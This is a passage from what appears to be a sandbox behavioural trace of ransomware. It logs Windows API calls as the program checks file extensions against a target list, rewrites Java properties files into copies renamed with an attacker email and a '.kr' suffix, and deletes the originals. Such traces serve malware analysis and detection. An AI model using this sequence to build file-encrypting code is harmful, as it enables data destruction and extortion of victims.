Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.984] lstrlenW (lpString=".1cd") returned 4 [0178.984] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.984] lstrlenW (lpString=".jpg") returned 4 [0178.984] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.985] lstrlenW (lpString=".doc") returned 4 [0178.985] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString=".docx") returned 5 [0178.985] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.985] lstrlenW (lpString=".pdf") returned 4 [0178.985] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString=".xls") returned 4 [0178.985] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString=".xlsx") returned 5 [0178.985] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.985] lstrlenW (lpString=".ppt") returned 4 [0178.985] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.985] lstrlenW (lpString=".zip") returned 4 [0178.985] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString=".rar") returned 4 [0178.985] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString=".bz2") returned 4 [0178.985] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString=".7z") returned 3 [0178.985] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.985] lstrlenW (lpString=".dbf") returned 4 [0178.985] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.985] lstrlenW (lpString=".1cd") returned 4 [0178.985] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0178.985] lstrlenW (lpString=".jpg") returned 4 [0178.985] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.986] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0178.986] lstrlenW (lpString="messages_ja.properties") returned 22 [0178.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.546] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6349) returned 1 [0179.547] CloseHandle (hObject=0x3ec) returned 1 [0179.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0179.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.548] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.548] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0179.549] GetLastError () returned 0x0 [0179.549] ReadFile (in: hFile=0x3ec, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x18cd, lpOverlapped=0x0) returned 1 [0179.550] WriteFile (in: hFile=0x458, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x18d0, lpOverlapped=0x0) returned 1 [0179.551] ReadFile (in: hFile=0x3ec, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0179.551] WriteFile (in: hFile=0x458, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x100, lpOverlapped=0x0) returned 1 [0179.551] SetEndOfFile (hFile=0x458) returned 1 [0179.552] CloseHandle (hObject=0x458) returned 1 [0179.552] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.552] SetEndOfFile (hFile=0x3ec) returned 1 [0179.555] CloseHandle (hObject=0x3ec) returned 1 [0179.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.556] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0179.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.556] lstrlenW (lpString=".doc") returned 4 [0179.556] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.556] lstrlenW (lpString=".docx") returned 5 [0179.556] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.556] lstrlenW (lpString=".pdf") returned 4 [0179.556] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.556] lstrlenW (lpString=".xls") returned 4 [0179.556] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.556] lstrlenW (lpString=".xlsx") returned 5 [0179.556] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.557] lstrlenW (lpString=".ppt") returned 4 [0179.557] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.557] lstrlenW (lpString=".zip") returned 4 [0179.557] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString=".rar") returned 4 [0179.557] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString=".bz2") returned 4 [0179.557] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString=".7z") returned 3 [0179.557] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.557] lstrlenW (lpString=".dbf") returned 4 [0179.557] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.557] lstrlenW (lpString=".1cd") returned 4 [0179.557] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.557] lstrlenW (lpString=".jpg") returned 4 [0179.557] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.557] lstrlenW (lpString=".doc") returned 4 [0179.557] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString=".docx") returned 5 [0179.557] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.557] lstrlenW (lpString=".pdf") returned 4 [0179.557] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString=".xls") returned 4 [0179.557] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.557] lstrlenW (lpString=".xlsx") returned 5 [0179.557] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.557] lstrlenW (lpString=".ppt") returned 4 [0179.558] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.558] lstrlenW (lpString=".zip") returned 4 [0179.558] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.558] lstrlenW (lpString=".rar") returned 4 [0179.558] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.558] lstrlenW (lpString=".bz2") returned 4 [0179.558] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.558] lstrlenW (lpString=".7z") returned 3 [0179.558] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.558] lstrlenW (lpString=".dbf") returned 4 [0179.558] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.558] lstrlenW (lpString=".1cd") returned 4 [0179.558] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0179.558] lstrlenW (lpString=".jpg") returned 4 [0179.558] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.558] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0179.558] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0179.558] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.559] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3752) returned 1 [0179.559] CloseHandle (hObject=0x3ec) returned 1 [0179.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0179.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.560] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.560] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.560] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.560] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0179.560] GetLastError () returned 0x0 [0179.560] ReadFile (in: hFile=0x3ec, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xea8, lpOverlapped=0x0) returned 1 [0179.562] WriteFile (in: hFile=0x458, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xeb0, lpOverlapped=0x0) returned 1 [0179.563] ReadFile (in: hFile=0x3ec, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0179.563] WriteFile (in: hFile=0x458, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0179.563] SetEndOfFile (hFile=0x458) returned 1 [0179.563] CloseHandle (hObject=0x458) returned 1 [0179.564] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.564] SetEndOfFile (hFile=0x3ec) returned 1 [0179.567] CloseHandle (hObject=0x3ec) returned 1 [0179.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.567] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0179.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.568] lstrlenW (lpString=".doc") returned 4 [0179.568] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.568] lstrlenW (lpString=".docx") returned 5 [0179.568] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.568] lstrlenW (lpString=".pdf") returned 4 [0179.568] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.568] lstrlenW (lpString=".xls") returned 4 [0179.568] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.568] lstrlenW (lpString=".xlsx") returned 5 [0179.568] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.568] lstrlenW (lpString=".ppt") returned 4 [0179.568] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.568] lstrlenW (lpString=".zip") returned 4 [0179.568] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.568] lstrlenW (lpString=".rar") returned 4 [0179.568] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.568] lstrlenW (lpString=".bz2") returned 4 [0179.568] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.568] lstrlenW (lpString=".7z") returned 3 [0179.568] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.569] lstrlenW (lpString=".dbf") returned 4 [0179.569] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.569] lstrlenW (lpString=".1cd") returned 4 [0179.569] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.569] lstrlenW (lpString=".jpg") returned 4 [0179.569] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.569] lstrlenW (lpString=".doc") returned 4 [0179.569] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString=".docx") returned 5 [0179.569] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.569] lstrlenW (lpString=".pdf") returned 4 [0179.569] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString=".xls") returned 4 [0179.569] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString=".xlsx") returned 5 [0179.569] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.569] lstrlenW (lpString=".ppt") returned 4 [0179.569] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.569] lstrlenW (lpString=".zip") returned 4 [0179.569] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString=".rar") returned 4 [0179.569] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString=".bz2") returned 4 [0179.569] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.569] lstrlenW (lpString=".7z") returned 3 [0179.569] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.569] lstrlenW (lpString=".dbf") returned 4 [0179.570] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.570] lstrlenW (lpString=".1cd") returned 4 [0179.570] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0179.570] lstrlenW (lpString=".jpg") returned 4 [0179.570] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.570] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0179.570] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0179.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.570] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3752) returned 1 [0179.570] CloseHandle (hObject=0x3ec) returned 1 [0179.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0179.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.571] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.571] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.571] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0179.571] GetLastError () returned 0x0 [0179.571] ReadFile (in: hFile=0x3ec, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xea8, lpOverlapped=0x0) returned 1 [0179.573] WriteFile (in: hFile=0x458, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xeb0, lpOverlapped=0x0) returned 1 [0179.574] ReadFile (in: hFile=0x3ec, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0179.574] WriteFile (in: hFile=0x458, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0179.574] SetEndOfFile (hFile=0x458) returned 1 [0179.574] CloseHandle (hObject=0x458) returned 1 [0179.575] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.575] SetEndOfFile (hFile=0x3ec) returned 1 [0179.580] CloseHandle (hObject=0x3ec) returned 1 [0179.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.581] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0179.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.581] lstrlenW (lpString=".doc") returned 4 [0179.581] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.581] lstrlenW (lpString=".docx") returned 5 [0179.581] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.581] lstrlenW (lpString=".pdf") returned 4 [0179.581] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString=".xls") returned 4 [0179.582] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString=".xlsx") returned 5 [0179.582] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.582] lstrlenW (lpString=".ppt") returned 4 [0179.582] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.582] lstrlenW (lpString=".zip") returned 4 [0179.582] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString=".rar") returned 4 [0179.582] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString=".bz2") returned 4 [0179.582] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString=".7z") returned 3 [0179.582] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.582] lstrlenW (lpString=".dbf") returned 4 [0179.582] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.582] lstrlenW (lpString=".1cd") returned 4 [0179.582] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.582] lstrlenW (lpString=".jpg") returned 4 [0179.582] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0179.582] lstrlenW (lpString=".doc") returned 4 [0179.582] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.582] lstrlenW (lpString=".docx") returned 5 [0179.582] 